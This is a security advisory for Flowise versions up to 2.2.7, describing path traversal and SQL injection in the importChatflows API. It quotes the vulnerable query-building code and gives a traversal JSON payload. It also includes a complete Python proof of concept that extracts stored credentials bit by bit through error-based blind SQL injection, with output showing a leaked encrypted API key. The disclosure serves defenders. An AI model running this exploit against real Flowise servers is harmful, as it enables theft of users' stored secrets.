GHSA-9c4c-g95m-c8cp

Suggest an improvement
Source
https://github.com/advisories/GHSA-9c4c-g95m-c8cp
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/04/GHSA-9c4c-g95m-c8cp/GHSA-9c4c-g95m-c8cp.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-9c4c-g95m-c8cp
Aliases
Published
2025-04-07T18:55:13Z
Modified
2026-06-24T13:26:31Z
Severity
  • 5.9 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L CVSS Calculator
Summary
FlowiseDB vulnerable to SQL Injection by authenticated users
Details

Summary

import functions are vulnerable.

Details

Authenticated user can call importChatflows API, import json file such as AllChatflows.json. but Due to insufficient validation to chatflow.id in importChatflows API, 2 issues arise.

Issue 1 (Bug Type)

  1. Malicious user creates AllChatflows.json file by adding ../ and arbitrary path to the chatflow.id of the json file.
    {
      "Chatflows": [
        {
          "id": "../../../../../../apikey",
          "name": "clickme",
          "flowData": "{}"
        }
      ]
    }
    
  2. Victim download this file, and import this to flowise.
  3. When victim click created chatflow, victim access to flowise:3000/canvas/{chatflow.id}.

Issue 2 (Vulnerability Type) importChatflows API use unsafe SQL Query.

// packages/server/src/services/chatflows/index.ts
const importChatflows = async (newChatflows: Partial<ChatFlow>[]): Promise<any> => {
        try {
        const appServer = getRunningExpressApp()

        // step 1 - check whether file chatflows array is zero
        if (newChatflows.length == 0) return

        // step 2 - check whether ids are duplicate in database
        let ids = '('
        let count: number = 0
        const lastCount = newChatflows.length - 1
        newChatflows.forEach((newChatflow) => {
            ids += `'${newChatflow.id}'`           // <===== user input
            if (lastCount != count) ids += ','
            if (lastCount == count) ids += ')'
            count += 1
        })

        const selectResponse = await appServer.AppDataSource.getRepository(ChatFlow)
            .createQueryBuilder('cf')
            .select('cf.id')
            .where(`cf.id IN ${ids}`)                   // <===== here
            .getMany()
        const foundIds = selectResponse.map((response) => {
            return response.id
        })

It changes like SELECT cf.id FROM cf WHERE cf.id IN ('{USER-INPUT...}') by the code above. When ') {Malicious SQL Query} -- is passed to newChatflow.id, SQL Injection occurs.

PoC

import argparse
import requests


def import_chatflows(
    url: str,
    token: str,
    payload: dict
):
    response = requests.post(
        f'{url}/api/v1/chatflows/importchatflows',
        headers={
            'Authorization': f'Bearer {token}'
            # 'Authorization': f'Basic {token}'
        },
        json=payload
    )

    return response.json()


def import_normal_data(
    api_url: str,
    token: str,
    normal_data: str
):
    data_id = 'aaaaaa'

    payload = {
        "Chatflows": [
            {
                "id": data_id,
                "name": normal_data,
                "flowData": "{}"
            }
        ]
    }

    import_chatflows(
        url=api_url,
        token=token,
        payload=payload
    )
    return data_id


def get_character(
    api_url: str,
    token: str,
    data_id: str,
    column_name: str,
    index: int
):
    injection_query = f'(SELECT ascii(substr({column_name},{index},1)) FROM credential limit 0,1)'

    def create_payload(
        c: int
    ):
        return f"{data_id}') and if (({injection_query})<{c}, 0, 9e300 * 9e300); -- "

    chatflows_json = {
        "Chatflows": [
            {
                "id": "",
                "name": data_id,
                "flowData": "{}"
            }
        ]
    }

    bitbox = [
        64, 32, 16, 8, 4, 2, 1
    ]
    character = 0
    for bit in bitbox:
        payload = create_payload(c=character + bit)
        chatflows_json['Chatflows'][0]['id'] = payload

        res = import_chatflows(
            url=api_url,
            token=token,
            payload=chatflows_json
        )
        if 'DOUBLE value is out of range' in res['message']:
            # character is more then bit
            character += bit
        else:
            # character is less then bit
            character += 0

    return chr(character)


def get_length(
    api_url: str,
    token: str,
    data_id: str,
    column_name: str
):
    injection_query = f'(SELECT length({column_name}) FROM credential limit 0,1)'

    def create_payload(
        c: int
    ):
        return f"{data_id}') and if (({injection_query})<{c}, 0, 9e300 * 9e300); -- "

    chatflows_json = {
        "Chatflows": [
            {
                "id": "",
                "name": data_id,
                "flowData": "{}"
            }
        ]
    }

    column_len = 0
    bitbox = [
        256, 128, 64, 32, 16, 8, 4, 2, 1
    ]
    for bit in bitbox:
        payload = create_payload(c=column_len + bit)
        chatflows_json['Chatflows'][0]['id'] = payload

        res = import_chatflows(
            url=api_url,
            token=token,
            payload=chatflows_json
        )
        if 'DOUBLE value is out of range' in res['message']:
            # column_len is more then bit
            column_len += bit
        else:
            # column_len is less then bit
            column_len += 0

    return column_len


def main(
    url: str,
    token: str
):
    api_url = url

    column_box = [
        'credentialName',
        'encryptedData'
    ]

    data_id = import_normal_data(
        api_url=api_url,
        token=token,
        normal_data='flow01'
    )

    for column_name in column_box:
        column_len = get_length(
            api_url=api_url,
            token=token,
            data_id=data_id,
            column_name=column_name
        )

        print(f'[+] {column_name} length is {column_len}')

        result = ''
        for i in range(column_len):
            result += get_character(
                api_url=api_url,
                token=token,
                data_id=data_id,
                column_name=column_name,
                index=i + 1
            )

        print(f'[+] {column_name}: {result}')


if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument(
        '--url',
        type=str,
        default='http://flowise:3000'
    )
    parser.add_argument(
        '--access',
        type=str,
        required=True,
        help='Get from http://flowise:3000/apikey'
    )

    m_args = parser.parse_args()

    main(
        url=m_args.url,
        token=m_args.access
    )

poc results: encryptedData from flowise database credential table was successfully leaked.

/app # python ex2.py --url http://flowise:3000 --access "blahblah~~~"
[+] credentialName length is 9
[+] credentialName: openAIApi
[+] encryptedData length is 88
[+] encryptedData: U2FsdGVkX19LlIhbD4M9q9reLWQilBY6ffWo2S9PQ669CP1HpMPa5g1h1rJL0ZK3x0UMsLi/8Pz6TbSFrmIZbg==

It is recommended to limit all chatflow ids & chat ids to UUID.

Impact

  • Database leak
  • Lateral Movement
Database specific
{
    "cwe_ids": [
        "CWE-564"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-04-07T18:55:13Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
}
References

Affected packages

npm / flowise

Package

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Last Affected
2.2.7

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/04/GHSA-9c4c-g95m-c8cp/GHSA-9c4c-g95m-c8cp.json"